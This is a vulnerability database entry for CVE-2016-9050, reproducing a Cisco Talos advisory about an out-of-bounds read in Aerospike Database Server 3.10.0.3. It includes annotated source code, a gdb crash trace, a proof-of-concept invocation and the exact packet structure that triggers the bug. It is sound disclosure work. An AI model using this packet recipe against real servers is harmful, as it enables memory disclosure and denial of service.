Vulnerabilities > CVE-2016-9050 - Out-of-bounds Read vulnerability in Aerospike Database Server 3.10.0.3
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
LOW Integrity impact
NONE Availability impact
HIGH Summary
An exploitable out-of-bounds read vulnerability exists in the client message-parsing functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause an out-of-bounds read resulting in disclosure of memory within the process, the same vulnerability can also be used to trigger a denial of service. An attacker can simply connect to the port and send the packet to trigger this vulnerability.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Overread Buffers An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.
Seebug
bulletinFamily | exploit |
description | ### Summary An exploitable out-of-bounds read vulnerability exists in the client message-parsing functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause an out-of-bounds read resulting in disclosure of memory within the process, the same vulnerability can also be used to trigger a denial of service. An attacker can simply connect to the port and send the packet to trigger this vulnerability. ### Tested Versions Aerospike Database Server 3.10.0.3 ### Product URLs https://github.com/aerospike/aerospike-server/tree/3.10.0.3 ### CVSSv3 Score 8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H ### CWE CWE-129 - Improper Validation of Array Index ### Details Aerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media. In order to receive a packet from the client, the server spawns threads which execute the `thr_demarshal` function. At the beginning of this function, the server will receive data from the socket and then validate the protocol type. If the protocol type specifies that the packet is compressed (PROTOTYPEASMSGCOMPRESSED), it will decompress it with zlib and then continue to process the packet [1]. Later, when the protocol type is PROTOTYPEAS_MSG the server will pass the packet to the `thr_tsvc_process_or_enqueue` function [2]. ``` as/src/base/thr_demarshal.c:389 void * thr_demarshal(void *unused) { ... // Demarshal transactions from the socket. ... // Iterate over all events. for (i = 0; i < nevents; i++) { ... // If pointer is NULL, then we need to create a transaction and // store it in the buffer. if (fd_h->proto == NULL) { ... // Do a preliminary read of the header into a stack- // allocated structure, so that later on we can allocate the // entire message buffer. if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) { cf_detail(AS_DEMARSHAL, "proto socket: read header fail: error: rv %d sz was %d errno %d", n, sz, errno); goto NextEvent_FD_Cleanup; } ... // Check for a finished read. if (0 == fd_h->proto_unread) { ... // Check if it's compressed. if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) { // [1] ... } ... // Either process the transaction directly in this thread, // or queue it for processing by another thread (tsvc/info). if (0 != thr_tsvc_process_or_enqueue(&tr)) { // [2] cf_warning(AS_DEMARSHAL, "Failed to queue transaction to the service thread"); goto NextEvent_FD_Cleanup; } ``` Inside the `thr_tsvc_process_or_enqueue` function, the server will call the `as_msg_peek_data_in_memory` function [1]. This function will extract the specified namespace as defined within the packet and check to see if the `storage_data_in_memory` field [2] is set. The value of this field is defined within the configuration for the service. If the value of this field for the namespace is clear, then the `thr_tsvc_enqueue` function will be called [3]. ``` as/src/base/thr_tsvc.c:497 int thr_tsvc_process_or_enqueue(as_transaction *tr) { if (g_config.allow_inline_transactions && g_config.n_namespaces_in_memory != 0 && (g_config.n_namespaces_not_in_memory == 0 || as_msg_peek_data_in_memory(&tr->msgp->msg))) { // [1] \ process_transaction(tr); return 0; } // Transaction is for data-not-in-memory namespace - process via queues. return thr_tsvc_enqueue(tr); // [3] } \ as/src/base/proto.c:693 bool as_msg_peek_data_in_memory(const as_msg *m) { as_msg_field *f = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE); ... as_namespace *ns = as_namespace_get_bymsgfield(f); ... return ns && ns->storage_data_in_memory; // [2] } ``` The `thr_tsvc_enqueue` function will then check to see if the `use_queue_per_device` setting is specified within the configuration [1]. If this is the case, the server must peek into the packet to decide which device the transaction is to be written to [2]. Inside the `as_msg_peek` function, the server will read the `AS_MSG_FIELD_TYPE_DIGEST_RIPE` field out of the packet and store a pointer to the data in `peek->keyd` [3]. Due to this function not checking the minimum size of the field, an assumption made by the caller can be made to access data outside its bounds. This is done by the code at [4]. ``` as/src/base/thr_tsvc.c:515 int thr_tsvc_enqueue(as_transaction *tr) { ... if (g_config.use_queue_per_device) { // [1] // In queue-per-device mode, we must peek to find out which device (and // so which queue) this transaction is destined for. proto_peek ppeek; as_msg_peek(tr, &ppeek); // [2] \ if (ppeek.ns_n_devices) { ... if (ppeek.info1 & AS_MSG_INFO1_READ) { n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset; // [4] } else { n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset + ppeek.ns_n_devices; // [4] } } \ as/src/base/proto.c:709 void as_msg_peek(const as_transaction *tr, proto_peek *peek) { as_msg *m = &tr->msgp->msg; peek->info1 = m->info1; peek->keyd = cf_digest_zero; peek->ns_n_devices = 0; peek->ns_queue_offset = 0; as_msg_field *nf = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE); ... as_namespace *ns = as_namespace_get_bymsgfield(nf); ... if (as_transaction_has_digest(tr)) { // Modern client, single record. as_msg_field *df = as_msg_field_get(m, AS_MSG_FIELD_TYPE_DIGEST_RIPE); // [3] // Note - not checking size. peek->keyd = *(cf_digest *)df->data; return; } ``` ### Crash Information ``` # gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2` ... (gdb) b thr_tsvc_enqueue Breakpoint 5 at 0x55323c: file base/thr_tsvc.c, line 524. (gdb) b proto.c:742 Breakpoint 6 at 0x4fb13d: file base/proto.c, line 742. (gdb) c Continuing. Breakpoint 5, thr_tsvc_enqueue (tr=0x7f52827f8930) at base/thr_tsvc.c:524 524 uint32_t n_q = 0; (gdb) next 526 if (g_config.use_queue_per_device) { (gdb) 530 as_msg_peek(tr, &ppeek); (gdb) c Breakpoint 7, as_msg_peek (tr=0x7f52827f8930, peek=0x7f52827f8810) at base/proto.c:742 742 peek->keyd = *(cf_digest *)df->data; (gdb) db df->data L0x20 7f527c0c40eb | 04 30 2e 30 2e 31 3a 35 34 34 38 30 00 11 ff 01 | .0.0.1:54480.... 7f527c0c40fb | 00 00 00 00 00 00 00 00 00 80 00 00 00 31 37 32 | .............172 (gdb) finish Run till exit from #0 as_msg_peek (tr=0x7f52827f8930, peek=0x7f52827f8810) at base/proto.c:742 thr_tsvc_enqueue (tr=0x7f52827f8930) at base/thr_tsvc.c:532 532 if (ppeek.ns_n_devices) { (gdb) next 536 if (ppeek.info1 & AS_MSG_INFO1_READ) { (gdb) 540 n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset + ppeek.ns_n_devices; (gdb) p ppeek.keyd.digest $7 = "\004\060.0.1:54480\000\021\377\001\000\000\000" ``` ### Exploit Proof-of-Concept To execute the provided proof-of-concept, simply extract and run it as follows: ``` $ python poc hostname:3000 $namespace Trying to connect to hostname:3000 Sending 0x2b byte packet... done. ``` A client packet for Aerospike server is encoded in big-endian form and has the following structure. The first two bytes describe the protocol `version` and the protocol `type`. The `version` must be 0x02, where the protocol `type` can be one of two values. If ASCOMPRESSEDMSG(0x04) is specified, then the contents of data are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this `data` is defined by the `sz` field which is a 48-bit unsigned integer. ``` <class aspie.as_proto_s> [0] <instance aspie.proto_version 'version'> v2(0x2) [1] <instance aspie.proto_type 'type'> AS_MSG(0x3) [2] <instance uint48_t 'sz'> +0x000000000023 (35) [8] <instance aspie.as_msg_s 'data'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x04\x00\x62\x61\x72\x00\x00\x00\x01\x04" ``` The contents of the `data` field has the following structure. Within this structure, the only fields that are important are `n_fields` and `fields` which are the values returned by `as_msg_field_get` defined in the vulnerability description. ``` <class aspie.as_msg_s> 'data' [8] <instance uint8_t 'header_sz'> +0x00 (0) [9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8) [a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8) [b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8) [c] <instance uint8_t 'unused'> +0x00 (0) [d] <instance uint8_t 'result_code'> +0x00 (0) [e] <instance uint32_t 'generation'> +0x00000000 (0) [12] <instance uint32_t 'record_ttl'> +0x00000000 (0) [16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0) [1a] <instance uint16_t 'n_fields'> +0x0002 (2) [1c] <instance uint16_t 'n_ops'> +0x0000 (0) [1e] <instance array(aspie.as_msg_field_s,2) 'fields'> aspie.as_msg_field_s[2] "\x00\x00\x00\x04\x00\x62\x61\x72\x00\x00\x00\x01\x04" [2b] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] "" ``` In order to reach the described vulnerability, there must be two field types defined within `fields`. These types are NAMESPACE(0x0) and DIGESTRIPE(0x4). Each field-type contains a `field_sz` which defines the length of `data` and `type`. The contents of the NAMESPACE(0x0) field-type will be the namespace that a user is attempting to query. If the contents of the DIGESTRIPE field type is greater than 0 and less than 8, then this vulnerability is being triggered. ``` <class aspie.as_msg_field_s> '0' [1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X) [22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0) [23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ... <class aspie.as_msg_field_s> '1' [26] <instance uint32_t 'field_sz'> +0x00000001 (1) [2a] <instance aspie.AS_MSG_FIELD_TYPE 'type'> DIGEST_RIPE(0x4) [2b] <instance aspie.as_msg_digest_ripe_s 'data'> "X" ``` ### Timeline * 2016-12-23 - Vendor Disclosure * 2017-01-09 - Public Release ### CREDIT * Discovered by the Cisco Talos Team. |
id | SSV:96587 |
last seen | 2017-11-19 |
modified | 2017-09-26 |
published | 2017-09-26 |
reporter | Root |
title | Aerospike Database Server Client Message Memory Disclosure Vulnerability(CVE-2016-9050) |
Talos
id | TALOS-2016-0264 |
last seen | 2019-05-29 |
published | 2017-01-09 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0264 |
title | Aerospike Database Server Client Message Memory Disclosure Vulnerability |